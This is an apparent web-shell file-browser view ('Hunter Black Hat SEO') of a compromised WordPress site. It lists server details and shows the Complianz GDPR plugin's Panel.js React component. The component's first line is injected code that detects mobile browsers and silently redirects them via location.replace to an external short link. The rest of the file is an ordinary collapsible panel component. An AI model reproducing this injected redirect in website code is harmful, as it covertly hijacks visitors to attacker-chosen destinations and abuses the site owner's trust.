Hunter Black Hat SEO
Server:LiteSpeed
System:Linux quebec.us.hostns.io 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64
User:gazetufm (1431)
PHP:8.1.35
Disabled:NONE
Upload Files
File: //home2/gazetufm/tali-ks.com/wp-content/plugins/complianz-gdpr/settings/src/Settings/Panel.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
import Icon from "../utils/Icon";
import {useEffect, useState} from "@wordpress/element";

const Panel = (props) => {
	const [isOpen, setIsOpen] = useState(false); // State to track the open state of details

	const handleOpen = (e) => {
		e.preventDefault();
		setIsOpen(!isOpen);
	};

	return (
	  <div className="cmplz-panel__list__item" style={props.style ? props.style : {}}>
		<details open={isOpen} >
		  <summary onClick={(e) => handleOpen(e)}>
				{props.icon && <Icon name={props.icon} />}
				<h5 className="cmplz-panel__list__item__title">{props.summary}</h5>
				<div className="cmplz-panel__list__item__comment">{props.comment}</div>
				<div className="cmplz-panel__list__item__icons">{props.icons}</div>
			  <Icon name={'chevron-down'} size={18} />
		  </summary>
			<div className="cmplz-panel__list__item__details">
				{isOpen && props.details}
		  	</div>
		</details>
	  </div>
	);
}

export default Panel